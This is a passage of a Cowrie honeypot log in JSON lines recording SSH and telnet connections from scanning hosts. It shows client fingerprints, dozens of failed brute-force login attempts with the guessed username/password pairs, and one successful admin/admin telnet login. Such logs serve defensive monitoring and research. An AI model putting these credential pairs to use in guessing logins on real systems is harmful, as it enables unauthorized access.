f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:29:58.585848Z","src_ip":"87.106.29.151","session":"9eb9fa3fdf26","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":26314,"dst_ip":"10.17.0.5","dst_port":22,"session":"d9030fef8eaf","protocol":"ssh","message":"New connection: 2.57.121.112:26314 (10.17.0.5:22) [session: d9030fef8eaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:29:58.903068Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:29:58.907649Z","src_ip":"2.57.121.112","session":"d9030fef8eaf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"saeed123","message":"login attempt [root/saeed123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:29:59.005991Z","src_ip":"87.106.29.151","session":"9eb9fa3fdf26","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:29:59.010683Z","src_ip":"2.57.121.112","session":"d9030fef8eaf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"cougar1","message":"login attempt [admin/cougar1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:29:59.479016Z","src_ip":"2.57.121.112","session":"d9030fef8eaf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:30:00.107768Z","src_ip":"87.106.29.151","session":"9eb9fa3fdf26","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"cossie","message":"login attempt [admin/cossie] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:30:00.581383Z","src_ip":"2.57.121.112","session":"d9030fef8eaf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"cosmopolitan","message":"login attempt [admin/cosmopolitan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:30:01.687294Z","src_ip":"2.57.121.112","session":"d9030fef8eaf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":55356,"dst_ip":"10.17.0.5","dst_port":23,"session":"5ef153a71aaa","protocol":"telnet","message":"New connection: 50.6.8.71:55356 (10.17.0.5:23) [session: 5ef153a71aaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:30:02.502710Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"corpsman","message":"login attempt [admin/corpsman] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:30:02.794422Z","src_ip":"2.57.121.112","session":"d9030fef8eaf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"corbett","message":"login attempt [admin/corbett] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:30:03.899853Z","src_ip":"2.57.121.112","session":"d9030fef8eaf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:30:05.007349Z","src_ip":"2.57.121.112","session":"d9030fef8eaf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.9090838432312,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:30:05.579011Z","src_ip":"50.6.8.71","session":"51d1faeb7d6f","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:30:18.360600Z","src_ip":"47.82.163.231","session":"d014129d2025","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:30:18.408557Z","src_ip":"47.82.163.231","session":"d014129d2025","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":38680,"dst_ip":"159.203.135.109","dst_port":22,"session":"6af0623efbf5","protocol":"ssh","message":"New connection: 103.15.222.183:38680 (159.203.135.109:22) [session: 6af0623efbf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:30:22.141233Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:30:22.146651Z","src_ip":"103.15.222.183","session":"6af0623efbf5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:30:22.399310Z","src_ip":"103.15.222.183","session":"6af0623efbf5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"welcome","message":"login attempt [root/welcome] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:30:23.333606Z","src_ip":"103.15.222.183","session":"6af0623efbf5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:30:24.590305Z","src_ip":"103.15.222.183","session":"6af0623efbf5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.11406588554382,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:30:26.462411Z","src_ip":"50.6.8.71","session":"69a6b1d9c9af","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.220802545547485,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:30:29.273732Z","src_ip":"50.6.8.71","session":"d49afafd95d0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.20919942855835,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:30:36.711780Z","src_ip":"50.6.8.71","session":"5ef153a71aaa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":49756,"dst_ip":"10.17.0.5","dst_port":22,"session":"3bbc4bec78dc","protocol":"ssh","message":"New connection: 147.45.197.250:49756 (10.17.0.5:22) [session: 3bbc4bec78dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:30:40.605381Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:30:40.613551Z","src_ip":"147.45.197.250","session":"3bbc4bec78dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:30:40.707484Z","src_ip":"147.45.197.250","session":"3bbc4bec78dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"89525523375q","message":"login attempt [root/89525523375q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:30:40.988743Z","src_ip":"147.45.197.250","session":"3bbc4bec78dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:30:42.085552Z","src_ip":"147.45.197.250","session":"3bbc4bec78dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":54076,"dst_ip":"10.17.0.5","dst_port":23,"session":"21b7ccaf698d","protocol":"telnet","message":"New connection: 50.6.8.71:54076 (10.17.0.5:23) [session: 21b7ccaf698d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:30:42.416899Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":58468,"dst_ip":"10.17.0.5","dst_port":22,"session":"138d338aeed6","protocol":"ssh","message":"New connection: 2.57.122.238:58468 (10.17.0.5:22) [session: 138d338aeed6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:30:53.680943Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:30:53.685886Z","src_ip":"2.57.122.238","session":"138d338aeed6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:30:53.785609Z","src_ip":"2.57.122.238","session":"138d338aeed6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:30:54.084832Z","src_ip":"2.57.122.238","session":"138d338aeed6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:30:55.186269Z","src_ip":"2.57.122.238","session":"138d338aeed6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.29.151","src_port":46248,"dst_ip":"159.203.135.109","dst_port":22,"session":"b19aa008874d","protocol":"ssh","message":"New connection: 87.106.29.151:46248 (159.203.135.109:22) [session: b19aa008874d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:31:03.584105Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:31:03.590247Z","src_ip":"87.106.29.151","session":"b19aa008874d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:31:03.693160Z","src_ip":"87.106.29.151","session":"b19aa008874d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Gz123456","message":"login attempt [root/Gz123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:31:04.112669Z","src_ip":"87.106.29.151","session":"b19aa008874d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:31:05.213597Z","src_ip":"87.106.29.151","session":"b19aa008874d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.58.144.12","src_port":55580,"dst_ip":"10.17.0.5","dst_port":22,"session":"aabcd0b5ff79","protocol":"ssh","message":"New connection: 31.58.144.12:55580 (10.17.0.5:22) [session: aabcd0b5ff79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:31:15.847148Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:31:15.852359Z","src_ip":"31.58.144.12","session":"aabcd0b5ff79","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:31:16.028519Z","src_ip":"31.58.144.12","session":"aabcd0b5ff79","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f6:42:f9:ca:d6:dc:49:2d:a4:09:0a:db:f2:b0:91:3b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQD3RDjuPEpdiRHC8eL2vpg4yCSVF/loXkdWY24/g/R7lAuS19D8JfJvWx34EjM28HNytctmAfd/tPYTD59SCjFGYnnUrJcj1jbU4eteoIQbHnLdvBXgb5bigU9HkLrNKrCDHyFkv139vdv1cDhxwNOVs/vfdwyknYKztNP+w5B8la1u+qAi3WeJtaix/irBDCW/oN+QaLf1iw2Tp+5MrVjSiU/QgSwiHQVte2mDwD9JevKlRhOR38HSiHGhwDfEoSoMqrnGaA/U2mey4CrToXYKRSEH4lBeA7u1jblbagwm4EJBNLK5TQfgjAYJIYQ5ue2f1wC8PCzbwp7mSob+FZ+y4iuG0qPJT2yWsKEWyK/o/C0fz60rKy3MA7xRdCsuZE8pCEujbdrGMUROODODIhMzGhAVku5S1ieQNKDkv+6cqfRh2/PIs8aVPQ4oeuaFOpwYAt7R4+Aq63YsujAvygwVcUQeUO4wn+YCRqn9SgxPzKHDhm+wbcAfIN3gjF+hqygtTA4YmLGSUjjCVOjb9YWZCixZG3fpcuZUPcr9hOrgiURG80iVQZHjnBtthjKvNQ1AStSzBO91HxXFEkZpb9shmxmBq7lbMESj3omiaApn4hN6GLt10kuQNfwghIF++R+rnx4ptYDgZehoqiJk1XYffxtW45yGwpQL7i3+U0dYcw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f6:42:f9:ca:d6:dc:49:2d:a4:09:0a:db:f2:b0:91:3b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:31:16.493177Z","src_ip":"31.58.144.12","session":"aabcd0b5ff79","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f6:42:f9:ca:d6:dc:49:2d:a4:09:0a:db:f2:b0:91:3b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQD3RDjuPEpdiRHC8eL2vpg4yCSVF/loXkdWY24/g/R7lAuS19D8JfJvWx34EjM28HNytctmAfd/tPYTD59SCjFGYnnUrJcj1jbU4eteoIQbHnLdvBXgb5bigU9HkLrNKrCDHyFkv139vdv1cDhxwNOVs/vfdwyknYKztNP+w5B8la1u+qAi3WeJtaix/irBDCW/oN+QaLf1iw2Tp+5MrVjSiU/QgSwiHQVte2mDwD9JevKlRhOR38HSiHGhwDfEoSoMqrnGaA/U2mey4CrToXYKRSEH4lBeA7u1jblbagwm4EJBNLK5TQfgjAYJIYQ5ue2f1wC8PCzbwp7mSob+FZ+y4iuG0qPJT2yWsKEWyK/o/C0fz60rKy3MA7xRdCsuZE8pCEujbdrGMUROODODIhMzGhAVku5S1ieQNKDkv+6cqfRh2/PIs8aVPQ4oeuaFOpwYAt7R4+Aq63YsujAvygwVcUQeUO4wn+YCRqn9SgxPzKHDhm+wbcAfIN3gjF+hqygtTA4YmLGSUjjCVOjb9YWZCixZG3fpcuZUPcr9hOrgiURG80iVQZHjnBtthjKvNQ1AStSzBO91HxXFEkZpb9shmxmBq7lbMESj3omiaApn4hN6GLt10kuQNfwghIF++R+rnx4ptYDgZehoqiJk1XYffxtW45yGwpQL7i3+U0dYcw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:31:16.497125Z","src_ip":"31.58.144.12","session":"aabcd0b5ff79","protocol":"ssh"}
